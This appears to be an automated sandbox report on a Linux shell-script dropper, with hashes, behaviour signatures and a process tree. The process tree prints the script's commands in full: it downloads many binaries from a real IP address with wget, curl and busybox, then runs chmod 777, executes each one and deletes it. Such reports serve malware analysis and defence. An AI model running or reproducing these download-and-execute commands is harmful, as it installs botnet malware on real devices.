Analysis
-
max time kernel
151s -
max time network
155s -
platform
debian-9_mips -
resource
debian9-mipsbe-20240611-en -
resource tags
arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem -
submitted
28/10/2024, 02:45
Static task
static1
Behavioral task
behavioral1
Sample
7463e8056474aaf11d48314134cd8520144395dd1aaf693b466bbc79c0b8ea17.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
7463e8056474aaf11d48314134cd8520144395dd1aaf693b466bbc79c0b8ea17.sh
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral3
Sample
7463e8056474aaf11d48314134cd8520144395dd1aaf693b466bbc79c0b8ea17.sh
Resource
debian9-mipsbe-20240611-en
Behavioral task
behavioral4
Sample
7463e8056474aaf11d48314134cd8520144395dd1aaf693b466bbc79c0b8ea17.sh
Resource
debian9-mipsel-20240611-en
General
-
Target
7463e8056474aaf11d48314134cd8520144395dd1aaf693b466bbc79c0b8ea17.sh
-
Size
10KB
-
MD5
213cb7829c8f2673d0e3a75ed6639e13
-
SHA1
3daec954fef9c3751e7ce17a5d90672ccaf98608
-
SHA256
7463e8056474aaf11d48314134cd8520144395dd1aaf693b466bbc79c0b8ea17
-
SHA512
b8be68bfce37af24db9820d6960f1a66a43e4822dff463d9d5a485644d38ba72c7556113c1f4884d0c87fbf4bf318833208844059dcbb8b998dc6cf8e29554c4
-
SSDEEP
192:UouKo0b2Oyw0Iz0sbES+ssW5dw/3vUfDp5dw/3jrS+sFfDzPo0b2Ov0Iz0sl:UoGw0Iz0sbES+ssW5dw/3m5dw/3nS+s/
Malware Config
Signatures
-
File and Directory Permissions Modification 1 TTPs 24 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 885 chmod 903 chmod 910 chmod 922 chmod 940 chmod 853 chmod 735 chmod 861 chmod 928 chmod 721 chmod 753 chmod 774 chmod 800 chmod 813 chmod 897 chmod 916 chmod 934 chmod 729 chmod 831 chmod 867 chmod 873 chmod 879 chmod 891 chmod 807 chmod -
Executes dropped EXE 24 IoCs
ioc pid Process /tmp/r3AB3DZPohrunc9Z1nYZMEA0GQWdsEPLsB 722 r3AB3DZPohrunc9Z1nYZMEA0GQWdsEPLsB /tmp/9jDzMCltEvqSnDCJTh6s3LqijNWccznaiM 730 9jDzMCltEvqSnDCJTh6s3LqijNWccznaiM /tmp/eeO2J60ZgEr3HtHiTGahECLhoA9h10fvne 736 eeO2J60ZgEr3HtHiTGahECLhoA9h10fvne /tmp/O3r3ShnHrR6RPOf4YhRsuYsNZ6uiLWQgjI 754 O3r3ShnHrR6RPOf4YhRsuYsNZ6uiLWQgjI /tmp/eAQDy98j1OXJwYsPfyk3HMWXbPSVMXQuHy 775 eAQDy98j1OXJwYsPfyk3HMWXbPSVMXQuHy /tmp/QOWaBPaFXxxEbH6HUsnDLzescy01iCqI6H 801 QOWaBPaFXxxEbH6HUsnDLzescy01iCqI6H /tmp/rXqWqRIofZXtzYEyLCxjvaSBrKUwm9JXZ7 808 rXqWqRIofZXtzYEyLCxjvaSBrKUwm9JXZ7 /tmp/GrAHvby46Yxoptw7NaP57JXfMOXHzWjTTn 814 GrAHvby46Yxoptw7NaP57JXfMOXHzWjTTn /tmp/MZGoABrnYnFu8Xp27oQs69simaihhOZfI7 832 MZGoABrnYnFu8Xp27oQs69simaihhOZfI7 /tmp/LAgx3DJIt9jfe6TGYsjlLjXeywJaStEgg9 854 LAgx3DJIt9jfe6TGYsjlLjXeywJaStEgg9 /tmp/1X2n0PJFoCHU7evlMB0GhHOtqm1ALdP3v7 862 1X2n0PJFoCHU7evlMB0GhHOtqm1ALdP3v7 /tmp/zZFokRIrZi4thgyos9s4ZQXytXCziIy0tj 868 zZFokRIrZi4thgyos9s4ZQXytXCziIy0tj /tmp/TTdQXSsS6OZC3chipRm15yMjiW7QXSMnhn 874 TTdQXSsS6OZC3chipRm15yMjiW7QXSMnhn /tmp/GjanfnBK0Wzei92emyrPnYPSQrZo7cvLD0 880 GjanfnBK0Wzei92emyrPnYPSQrZo7cvLD0 /tmp/zZFokRIrZi4thgyos9s4ZQXytXCziIy0tj 886 zZFokRIrZi4thgyos9s4ZQXytXCziIy0tj /tmp/TTdQXSsS6OZC3chipRm15yMjiW7QXSMnhn 892 TTdQXSsS6OZC3chipRm15yMjiW7QXSMnhn /tmp/LAgx3DJIt9jfe6TGYsjlLjXeywJaStEgg9 898 LAgx3DJIt9jfe6TGYsjlLjXeywJaStEgg9 /tmp/1X2n0PJFoCHU7evlMB0GhHOtqm1ALdP3v7 904 1X2n0PJFoCHU7evlMB0GhHOtqm1ALdP3v7 /tmp/GjanfnBK0Wzei92emyrPnYPSQrZo7cvLD0 911 GjanfnBK0Wzei92emyrPnYPSQrZo7cvLD0 /tmp/eeO2J60ZgEr3HtHiTGahECLhoA9h10fvne 917 eeO2J60ZgEr3HtHiTGahECLhoA9h10fvne /tmp/r3AB3DZPohrunc9Z1nYZMEA0GQWdsEPLsB 923 r3AB3DZPohrunc9Z1nYZMEA0GQWdsEPLsB /tmp/9jDzMCltEvqSnDCJTh6s3LqijNWccznaiM 929 9jDzMCltEvqSnDCJTh6s3LqijNWccznaiM /tmp/rXqWqRIofZXtzYEyLCxjvaSBrKUwm9JXZ7 935 rXqWqRIofZXtzYEyLCxjvaSBrKUwm9JXZ7 /tmp/GrAHvby46Yxoptw7NaP57JXfMOXHzWjTTn 941 GrAHvby46Yxoptw7NaP57JXfMOXHzWjTTn -
description ioc Process File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl -
System Network Configuration Discovery 1 TTPs 10 IoCs
Adversaries may gather information about the network configuration of a system.
pid Process 890 busybox 892 TTdQXSsS6OZC3chipRm15yMjiW7QXSMnhn 872 busybox 888 wget 889 curl 875 rm 893 rm 870 wget 871 curl 874 TTdQXSsS6OZC3chipRm15yMjiW7QXSMnhn -
Writes file to tmp directory 24 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/eeO2J60ZgEr3HtHiTGahECLhoA9h10fvne curl File opened for modification /tmp/O3r3ShnHrR6RPOf4YhRsuYsNZ6uiLWQgjI curl File opened for modification /tmp/rXqWqRIofZXtzYEyLCxjvaSBrKUwm9JXZ7 curl File opened for modification /tmp/MZGoABrnYnFu8Xp27oQs69simaihhOZfI7 curl File opened for modification /tmp/LAgx3DJIt9jfe6TGYsjlLjXeywJaStEgg9 curl File opened for modification /tmp/r3AB3DZPohrunc9Z1nYZMEA0GQWdsEPLsB curl File opened for modification /tmp/9jDzMCltEvqSnDCJTh6s3LqijNWccznaiM curl File opened for modification /tmp/QOWaBPaFXxxEbH6HUsnDLzescy01iCqI6H curl File opened for modification /tmp/LAgx3DJIt9jfe6TGYsjlLjXeywJaStEgg9 curl File opened for modification /tmp/zZFokRIrZi4thgyos9s4ZQXytXCziIy0tj curl File opened for modification /tmp/TTdQXSsS6OZC3chipRm15yMjiW7QXSMnhn curl File opened for modification /tmp/1X2n0PJFoCHU7evlMB0GhHOtqm1ALdP3v7 curl File opened for modification /tmp/eeO2J60ZgEr3HtHiTGahECLhoA9h10fvne curl File opened for modification /tmp/r3AB3DZPohrunc9Z1nYZMEA0GQWdsEPLsB curl File opened for modification /tmp/eAQDy98j1OXJwYsPfyk3HMWXbPSVMXQuHy curl File opened for modification /tmp/GrAHvby46Yxoptw7NaP57JXfMOXHzWjTTn curl File opened for modification /tmp/1X2n0PJFoCHU7evlMB0GhHOtqm1ALdP3v7 curl File opened for modification /tmp/zZFokRIrZi4thgyos9s4ZQXytXCziIy0tj curl File opened for modification /tmp/TTdQXSsS6OZC3chipRm15yMjiW7QXSMnhn curl File opened for modification /tmp/GjanfnBK0Wzei92emyrPnYPSQrZo7cvLD0 curl File opened for modification /tmp/9jDzMCltEvqSnDCJTh6s3LqijNWccznaiM curl File opened for modification /tmp/rXqWqRIofZXtzYEyLCxjvaSBrKUwm9JXZ7 curl File opened for modification /tmp/GrAHvby46Yxoptw7NaP57JXfMOXHzWjTTn curl File opened for modification /tmp/GjanfnBK0Wzei92emyrPnYPSQrZo7cvLD0 curl
Processes
-
/tmp/7463e8056474aaf11d48314134cd8520144395dd1aaf693b466bbc79c0b8ea17.sh/tmp/7463e8056474aaf11d48314134cd8520144395dd1aaf693b466bbc79c0b8ea17.sh1⤵PID:692
-
/bin/rm/bin/rm bins.sh2⤵PID:695
-
-
/usr/bin/wgetwget http://87.120.84.230/bins/r3AB3DZPohrunc9Z1nYZMEA0GQWdsEPLsB2⤵PID:700
-
-
/usr/bin/curlcurl -O http://87.120.84.230/bins/r3AB3DZPohrunc9Z1nYZMEA0GQWdsEPLsB2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:708
-
-
/bin/busybox/bin/busybox wget http://87.120.84.230/bins/r3AB3DZPohrunc9Z1nYZMEA0GQWdsEPLsB2⤵PID:718
-
-
/bin/chmodchmod 777 r3AB3DZPohrunc9Z1nYZMEA0GQWdsEPLsB2⤵
- File and Directory Permissions Modification
PID:721
-
-
/tmp/r3AB3DZPohrunc9Z1nYZMEA0GQWdsEPLsB./r3AB3DZPohrunc9Z1nYZMEA0GQWdsEPLsB2⤵
- Executes dropped EXE
PID:722
-
-
/bin/rmrm r3AB3DZPohrunc9Z1nYZMEA0GQWdsEPLsB2⤵PID:724
-
-
/usr/bin/wgetwget http://87.120.84.230/bins/9jDzMCltEvqSnDCJTh6s3LqijNWccznaiM2⤵PID:725
-
-
/usr/bin/curlcurl -O http://87.120.84.230/bins/9jDzMCltEvqSnDCJTh6s3LqijNWccznaiM2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:727
-
-
/bin/busybox/bin/busybox wget http://87.120.84.230/bins/9jDzMCltEvqSnDCJTh6s3LqijNWccznaiM2⤵PID:728
-
-
/bin/chmodchmod 777 9jDzMCltEvqSnDCJTh6s3LqijNWccznaiM2⤵
- File and Directory Permissions Modification
PID:729
-
-
/tmp/9jDzMCltEvqSnDCJTh6s3LqijNWccznaiM./9jDzMCltEvqSnDCJTh6s3LqijNWccznaiM2⤵
- Executes dropped EXE
PID:730
-
-
/bin/rmrm 9jDzMCltEvqSnDCJTh6s3LqijNWccznaiM2⤵PID:731
-
-
/usr/bin/wgetwget http://87.120.84.230/bins/eeO2J60ZgEr3HtHiTGahECLhoA9h10fvne2⤵PID:732
-
-
/usr/bin/curlcurl -O http://87.120.84.230/bins/eeO2J60ZgEr3HtHiTGahECLhoA9h10fvne2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:733
-
-
/bin/busybox/bin/busybox wget http://87.120.84.230/bins/eeO2J60ZgEr3HtHiTGahECLhoA9h10fvne2⤵PID:734
-
-
/bin/chmodchmod 777 eeO2J60ZgEr3HtHiTGahECLhoA9h10fvne2⤵
- File and Directory Permissions Modification
PID:735
-
-
/tmp/eeO2J60ZgEr3HtHiTGahECLhoA9h10fvne./eeO2J60ZgEr3HtHiTGahECLhoA9h10fvne2⤵
- Executes dropped EXE
PID:736
-
-
/bin/rmrm eeO2J60ZgEr3HtHiTGahECLhoA9h10fvne2⤵PID:737
-
-
/usr/bin/wgetwget http://87.120.84.230/bins/O3r3ShnHrR6RPOf4YhRsuYsNZ6uiLWQgjI2⤵PID:738
-
-
/usr/bin/curlcurl -O http://87.120.84.230/bins/O3r3ShnHrR6RPOf4YhRsuYsNZ6uiLWQgjI2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:742
-
-
/bin/busybox/bin/busybox wget http://87.120.84.230/bins/O3r3ShnHrR6RPOf4YhRsuYsNZ6uiLWQgjI2⤵PID:749
-
-
/bin/chmodchmod 777 O3r3ShnHrR6RPOf4YhRsuYsNZ6uiLWQgjI2⤵
- File and Directory Permissions Modification
PID:753
-
-
/tmp/O3r3ShnHrR6RPOf4YhRsuYsNZ6uiLWQgjI./O3r3ShnHrR6RPOf4YhRsuYsNZ6uiLWQgjI2⤵
- Executes dropped EXE
PID:754
-
-
/bin/rmrm O3r3ShnHrR6RPOf4YhRsuYsNZ6uiLWQgjI2⤵PID:757
-
-
/usr/bin/wgetwget http://87.120.84.230/bins/eAQDy98j1OXJwYsPfyk3HMWXbPSVMXQuHy2⤵PID:759
-
-
/usr/bin/curlcurl -O http://87.120.84.230/bins/eAQDy98j1OXJwYsPfyk3HMWXbPSVMXQuHy2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:764
-
-
/bin/busybox/bin/busybox wget http://87.120.84.230/bins/eAQDy98j1OXJwYsPfyk3HMWXbPSVMXQuHy2⤵PID:771
-
-
/bin/chmodchmod 777 eAQDy98j1OXJwYsPfyk3HMWXbPSVMXQuHy2⤵
- File and Directory Permissions Modification
PID:774
-
-
/tmp/eAQDy98j1OXJwYsPfyk3HMWXbPSVMXQuHy./eAQDy98j1OXJwYsPfyk3HMWXbPSVMXQuHy2⤵
- Executes dropped EXE
PID:775
-
-
/bin/rmrm eAQDy98j1OXJwYsPfyk3HMWXbPSVMXQuHy2⤵PID:778
-
-
/usr/bin/wgetwget http://87.120.84.230/bins/QOWaBPaFXxxEbH6HUsnDLzescy01iCqI6H2⤵PID:780
-
-
/usr/bin/curlcurl -O http://87.120.84.230/bins/QOWaBPaFXxxEbH6HUsnDLzescy01iCqI6H2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:790
-
-
/bin/busybox/bin/busybox wget http://87.120.84.230/bins/QOWaBPaFXxxEbH6HUsnDLzescy01iCqI6H2⤵PID:799
-
-
/bin/chmodchmod 777 QOWaBPaFXxxEbH6HUsnDLzescy01iCqI6H2⤵
- File and Directory Permissions Modification
PID:800
-
-
/tmp/QOWaBPaFXxxEbH6HUsnDLzescy01iCqI6H./QOWaBPaFXxxEbH6HUsnDLzescy01iCqI6H2⤵
- Executes dropped EXE
PID:801
-
-
/bin/rmrm QOWaBPaFXxxEbH6HUsnDLzescy01iCqI6H2⤵PID:803
-
-
/usr/bin/wgetwget http://87.120.84.230/bins/rXqWqRIofZXtzYEyLCxjvaSBrKUwm9JXZ72⤵PID:804
-
-
/usr/bin/curlcurl -O http://87.120.84.230/bins/rXqWqRIofZXtzYEyLCxjvaSBrKUwm9JXZ72⤵
- Reads runtime system information
- Writes file to tmp directory
PID:805
-
-
/bin/busybox/bin/busybox wget http://87.120.84.230/bins/rXqWqRIofZXtzYEyLCxjvaSBrKUwm9JXZ72⤵PID:806
-
-
/bin/chmodchmod 777 rXqWqRIofZXtzYEyLCxjvaSBrKUwm9JXZ72⤵
- File and Directory Permissions Modification
PID:807
-
-
/tmp/rXqWqRIofZXtzYEyLCxjvaSBrKUwm9JXZ7./rXqWqRIofZXtzYEyLCxjvaSBrKUwm9JXZ72⤵
- Executes dropped EXE
PID:808
-
-
/bin/rmrm rXqWqRIofZXtzYEyLCxjvaSBrKUwm9JXZ72⤵PID:809
-
-
/usr/bin/wgetwget http://87.120.84.230/bins/GrAHvby46Yxoptw7NaP57JXfMOXHzWjTTn2⤵PID:810
-
-
/usr/bin/curlcurl -O http://87.120.84.230/bins/GrAHvby46Yxoptw7NaP57JXfMOXHzWjTTn2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:811
-
-
/bin/busybox/bin/busybox wget http://87.120.84.230/bins/GrAHvby46Yxoptw7NaP57JXfMOXHzWjTTn2⤵PID:812
-
-
/bin/chmodchmod 777 GrAHvby46Yxoptw7NaP57JXfMOXHzWjTTn2⤵
- File and Directory Permissions Modification
PID:813
-
-
/tmp/GrAHvby46Yxoptw7NaP57JXfMOXHzWjTTn./GrAHvby46Yxoptw7NaP57JXfMOXHzWjTTn2⤵
- Executes dropped EXE
PID:814
-
-
/bin/rmrm GrAHvby46Yxoptw7NaP57JXfMOXHzWjTTn2⤵PID:815
-
-
/usr/bin/wgetwget http://87.120.84.230/bins/MZGoABrnYnFu8Xp27oQs69simaihhOZfI72⤵PID:816
-
-
/usr/bin/curlcurl -O http://87.120.84.230/bins/MZGoABrnYnFu8Xp27oQs69simaihhOZfI72⤵
- Reads runtime system information
- Writes file to tmp directory
PID:821
-
-
/bin/busybox/bin/busybox wget http://87.120.84.230/bins/MZGoABrnYnFu8Xp27oQs69simaihhOZfI72⤵PID:828
-
-
/bin/chmodchmod 777 MZGoABrnYnFu8Xp27oQs69simaihhOZfI72⤵
- File and Directory Permissions Modification
PID:831
-
-
/tmp/MZGoABrnYnFu8Xp27oQs69simaihhOZfI7./MZGoABrnYnFu8Xp27oQs69simaihhOZfI72⤵
- Executes dropped EXE
PID:832
-
-
/bin/rmrm MZGoABrnYnFu8Xp27oQs69simaihhOZfI72⤵PID:836
-
-
/usr/bin/wgetwget http://87.120.84.230/bins/LAgx3DJIt9jfe6TGYsjlLjXeywJaStEgg92⤵PID:837
-
-
/usr/bin/curlcurl -O http://87.120.84.230/bins/LAgx3DJIt9jfe6TGYsjlLjXeywJaStEgg92⤵
- Reads runtime system information
- Writes file to tmp directory
PID:842
-
-
/bin/busybox/bin/busybox wget http://87.120.84.230/bins/LAgx3DJIt9jfe6TGYsjlLjXeywJaStEgg92⤵PID:850
-
-
/bin/chmodchmod 777 LAgx3DJIt9jfe6TGYsjlLjXeywJaStEgg92⤵
- File and Directory Permissions Modification
PID:853
-
-
/tmp/LAgx3DJIt9jfe6TGYsjlLjXeywJaStEgg9./LAgx3DJIt9jfe6TGYsjlLjXeywJaStEgg92⤵
- Executes dropped EXE
PID:854
-
-
/bin/rmrm LAgx3DJIt9jfe6TGYsjlLjXeywJaStEgg92⤵PID:857
-
-
/usr/bin/wgetwget http://87.120.84.230/bins/1X2n0PJFoCHU7evlMB0GhHOtqm1ALdP3v72⤵PID:858
-
-
/usr/bin/curlcurl -O http://87.120.84.230/bins/1X2n0PJFoCHU7evlMB0GhHOtqm1ALdP3v72⤵
- Reads runtime system information
- Writes file to tmp directory
PID:859
-
-
/bin/busybox/bin/busybox wget http://87.120.84.230/bins/1X2n0PJFoCHU7evlMB0GhHOtqm1ALdP3v72⤵PID:860
-
-
/bin/chmodchmod 777 1X2n0PJFoCHU7evlMB0GhHOtqm1ALdP3v72⤵
- File and Directory Permissions Modification
PID:861
-
-
/tmp/1X2n0PJFoCHU7evlMB0GhHOtqm1ALdP3v7./1X2n0PJFoCHU7evlMB0GhHOtqm1ALdP3v72⤵
- Executes dropped EXE
PID:862
-
-
/bin/rmrm 1X2n0PJFoCHU7evlMB0GhHOtqm1ALdP3v72⤵PID:863
-
-
/usr/bin/wgetwget http://87.120.84.230/bins/zZFokRIrZi4thgyos9s4ZQXytXCziIy0tj2⤵PID:864
-
-
/usr/bin/curlcurl -O http://87.120.84.230/bins/zZFokRIrZi4thgyos9s4ZQXytXCziIy0tj2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:865
-
-
/bin/busybox/bin/busybox wget http://87.120.84.230/bins/zZFokRIrZi4thgyos9s4ZQXytXCziIy0tj2⤵PID:866
-
-
/bin/chmodchmod 777 zZFokRIrZi4thgyos9s4ZQXytXCziIy0tj2⤵
- File and Directory Permissions Modification
PID:867
-
-
/tmp/zZFokRIrZi4thgyos9s4ZQXytXCziIy0tj./zZFokRIrZi4thgyos9s4ZQXytXCziIy0tj2⤵
- Executes dropped EXE
PID:868
-
-
/bin/rmrm zZFokRIrZi4thgyos9s4ZQXytXCziIy0tj2⤵PID:869
-
-
/usr/bin/wgetwget http://87.120.84.230/bins/TTdQXSsS6OZC3chipRm15yMjiW7QXSMnhn2⤵
- System Network Configuration Discovery
PID:870
-
-
/usr/bin/curlcurl -O http://87.120.84.230/bins/TTdQXSsS6OZC3chipRm15yMjiW7QXSMnhn2⤵
- Reads runtime system information
- System Network Configuration Discovery
- Writes file to tmp directory
PID:871
-
-
/bin/busybox/bin/busybox wget http://87.120.84.230/bins/TTdQXSsS6OZC3chipRm15yMjiW7QXSMnhn2⤵
- System Network Configuration Discovery
PID:872
-
-
/bin/chmodchmod 777 TTdQXSsS6OZC3chipRm15yMjiW7QXSMnhn2⤵
- File and Directory Permissions Modification
PID:873
-
-
/tmp/TTdQXSsS6OZC3chipRm15yMjiW7QXSMnhn./TTdQXSsS6OZC3chipRm15yMjiW7QXSMnhn2⤵
- Executes dropped EXE
- System Network Configuration Discovery
PID:874
-
-
/bin/rmrm TTdQXSsS6OZC3chipRm15yMjiW7QXSMnhn2⤵
- System Network Configuration Discovery
PID:875
-
-
/usr/bin/wgetwget http://87.120.84.230/bins/GjanfnBK0Wzei92emyrPnYPSQrZo7cvLD02⤵PID:876
-
-
/usr/bin/curlcurl -O http://87.120.84.230/bins/GjanfnBK0Wzei92emyrPnYPSQrZo7cvLD02⤵
- Reads runtime system information
- Writes file to tmp directory
PID:877
-
-
/bin/busybox/bin/busybox wget http://87.120.84.230/bins/GjanfnBK0Wzei92emyrPnYPSQrZo7cvLD02⤵PID:878
-
-
/bin/chmodchmod 777 GjanfnBK0Wzei92emyrPnYPSQrZo7cvLD02⤵
- File and Directory Permissions Modification
PID:879
-
-
/tmp/GjanfnBK0Wzei92emyrPnYPSQrZo7cvLD0./GjanfnBK0Wzei92emyrPnYPSQrZo7cvLD02⤵
- Executes dropped EXE
PID:880
-
-
/bin/rmrm GjanfnBK0Wzei92emyrPnYPSQrZo7cvLD02⤵PID:881
-
-
/usr/bin/wgetwget http://87.120.84.230/bins/zZFokRIrZi4thgyos9s4ZQXytXCziIy0tj2⤵PID:882
-
-
/usr/bin/curlcurl -O http://87.120.84.230/bins/zZFokRIrZi4thgyos9s4ZQXytXCziIy0tj2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:883
-
-
/bin/busybox/bin/busybox wget http://87.120.84.230/bins/zZFokRIrZi4thgyos9s4ZQXytXCziIy0tj2⤵PID:884
-
-
/bin/chmodchmod 777 zZFokRIrZi4thgyos9s4ZQXytXCziIy0tj2⤵
- File and Directory Permissions Modification
PID:885
-
-
/tmp/zZFokRIrZi4thgyos9s4ZQXytXCziIy0tj./zZFokRIrZi4thgyos9s4ZQXytXCziIy0tj2⤵
- Executes dropped EXE
PID:886
-
-
/bin/rmrm zZFokRIrZi4thgyos9s4ZQXytXCziIy0tj2⤵PID:887
-
-
/usr/bin/wgetwget http://87.120.84.230/bins/TTdQXSsS6OZC3chipRm15yMjiW7QXSMnhn2⤵
- System Network Configuration Discovery
PID:888
-
-
/usr/bin/curlcurl -O http://87.120.84.230/bins/TTdQXSsS6OZC3chipRm15yMjiW7QXSMnhn2⤵
- Reads runtime system information
- System Network Configuration Discovery
- Writes file to tmp directory
PID:889
-
-
/bin/busybox/bin/busybox wget http://87.120.84.230/bins/TTdQXSsS6OZC3chipRm15yMjiW7QXSMnhn2⤵
- System Network Configuration Discovery
PID:890
-
-
/bin/chmodchmod 777 TTdQXSsS6OZC3chipRm15yMjiW7QXSMnhn2⤵
- File and Directory Permissions Modification
PID:891
-
-
/tmp/TTdQXSsS6OZC3chipRm15yMjiW7QXSMnhn./TTdQXSsS6OZC3chipRm15yMjiW7QXSMnhn2⤵
- Executes dropped EXE
- System Network Configuration Discovery
PID:892
-
-
/bin/rmrm TTdQXSsS6OZC3chipRm15yMjiW7QXSMnhn2⤵
- System Network Configuration Discovery
PID:893
-
-
/usr/bin/wgetwget http://87.120.84.230/bins/LAgx3DJIt9jfe6TGYsjlLjXeywJaStEgg92⤵PID:894
-
-
/usr/bin/curlcurl -O http://87.120.84.230/bins/LAgx3DJIt9jfe6TGYsjlLjXeywJaStEgg92⤵
- Reads runtime system information
- Writes file to tmp directory
PID:895
-
-
/bin/busybox/bin/busybox wget http://87.120.84.230/bins/LAgx3DJIt9jfe6TGYsjlLjXeywJaStEgg92⤵PID:896
-
-
/bin/chmodchmod 777 LAgx3DJIt9jfe6TGYsjlLjXeywJaStEgg92⤵
- File and Directory Permissions Modification
PID:897
-
-
/tmp/LAgx3DJIt9jfe6TGYsjlLjXeywJaStEgg9./LAgx3DJIt9jfe6TGYsjlLjXeywJaStEgg92⤵
- Executes dropped EXE
PID:898
-
-
/bin/rmrm LAgx3DJIt9jfe6TGYsjlLjXeywJaStEgg92⤵PID:899
-
-
/usr/bin/wgetwget http://87.120.84.230/bins/1X2n0PJFoCHU7evlMB0GhHOtqm1ALdP3v72⤵PID:900
-
-
/usr/bin/curlcurl -O http://87.120.84.230/bins/1X2n0PJFoCHU7evlMB0GhHOtqm1ALdP3v72⤵
- Reads runtime system information
- Writes file to tmp directory
PID:901
-
-
/bin/busybox/bin/busybox wget http://87.120.84.230/bins/1X2n0PJFoCHU7evlMB0GhHOtqm1ALdP3v72⤵PID:902
-
-
/bin/chmodchmod 777 1X2n0PJFoCHU7evlMB0GhHOtqm1ALdP3v72⤵
- File and Directory Permissions Modification
PID:903
-
-
/tmp/1X2n0PJFoCHU7evlMB0GhHOtqm1ALdP3v7./1X2n0PJFoCHU7evlMB0GhHOtqm1ALdP3v72⤵
- Executes dropped EXE
PID:904
-
-
/bin/rmrm 1X2n0PJFoCHU7evlMB0GhHOtqm1ALdP3v72⤵PID:905
-
-
/usr/bin/wgetwget http://87.120.84.230/bins/GjanfnBK0Wzei92emyrPnYPSQrZo7cvLD02⤵PID:906
-
-
/usr/bin/curlcurl -O http://87.120.84.230/bins/GjanfnBK0Wzei92emyrPnYPSQrZo7cvLD02⤵
- Reads runtime system information
- Writes file to tmp directory
PID:907
-
-
/bin/busybox/bin/busybox wget http://87.120.84.230/bins/GjanfnBK0Wzei92emyrPnYPSQrZo7cvLD02⤵PID:908
-
-
/bin/chmodchmod 777 GjanfnBK0Wzei92emyrPnYPSQrZo7cvLD02⤵
- File and Directory Permissions Modification
PID:910
-
-
/tmp/GjanfnBK0Wzei92emyrPnYPSQrZo7cvLD0./GjanfnBK0Wzei92emyrPnYPSQrZo7cvLD02⤵
- Executes dropped EXE
PID:911
-
-
/bin/rmrm GjanfnBK0Wzei92emyrPnYPSQrZo7cvLD02⤵PID:912
-
-
/usr/bin/wgetwget http://87.120.84.230/bins/eeO2J60ZgEr3HtHiTGahECLhoA9h10fvne2⤵PID:913
-
-
/usr/bin/curlcurl -O http://87.120.84.230/bins/eeO2J60ZgEr3HtHiTGahECLhoA9h10fvne2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:914
-
-
/bin/busybox/bin/busybox wget http://87.120.84.230/bins/eeO2J60ZgEr3HtHiTGahECLhoA9h10fvne2⤵PID:915
-
-
/bin/chmodchmod 777 eeO2J60ZgEr3HtHiTGahECLhoA9h10fvne2⤵
- File and Directory Permissions Modification
PID:916
-
-
/tmp/eeO2J60ZgEr3HtHiTGahECLhoA9h10fvne./eeO2J60ZgEr3HtHiTGahECLhoA9h10fvne2⤵
- Executes dropped EXE
PID:917
-
-
/bin/rmrm eeO2J60ZgEr3HtHiTGahECLhoA9h10fvne2⤵PID:918
-
-
/usr/bin/wgetwget http://87.120.84.230/bins/r3AB3DZPohrunc9Z1nYZMEA0GQWdsEPLsB2⤵PID:919
-
-
/usr/bin/curlcurl -O http://87.120.84.230/bins/r3AB3DZPohrunc9Z1nYZMEA0GQWdsEPLsB2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:920
-
-
/bin/busybox/bin/busybox wget http://87.120.84.230/bins/r3AB3DZPohrunc9Z1nYZMEA0GQWdsEPLsB2⤵PID:921
-
-
/bin/chmodchmod 777 r3AB3DZPohrunc9Z1nYZMEA0GQWdsEPLsB2⤵
- File and Directory Permissions Modification
PID:922
-
-
/tmp/r3AB3DZPohrunc9Z1nYZMEA0GQWdsEPLsB./r3AB3DZPohrunc9Z1nYZMEA0GQWdsEPLsB2⤵
- Executes dropped EXE
PID:923
-
-
/bin/rmrm r3AB3DZPohrunc9Z1nYZMEA0GQWdsEPLsB2⤵PID:924
-
-
/usr/bin/wgetwget http://87.120.84.230/bins/9jDzMCltEvqSnDCJTh6s3LqijNWccznaiM2⤵PID:925
-
-
/usr/bin/curlcurl -O http://87.120.84.230/bins/9jDzMCltEvqSnDCJTh6s3LqijNWccznaiM2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:926
-
-
/bin/busybox/bin/busybox wget http://87.120.84.230/bins/9jDzMCltEvqSnDCJTh6s3LqijNWccznaiM2⤵PID:927
-
-
/bin/chmodchmod 777 9jDzMCltEvqSnDCJTh6s3LqijNWccznaiM2⤵
- File and Directory Permissions Modification
PID:928
-
-
/tmp/9jDzMCltEvqSnDCJTh6s3LqijNWccznaiM./9jDzMCltEvqSnDCJTh6s3LqijNWccznaiM2⤵
- Executes dropped EXE
PID:929
-
-
/bin/rmrm 9jDzMCltEvqSnDCJTh6s3LqijNWccznaiM2⤵PID:930
-
-
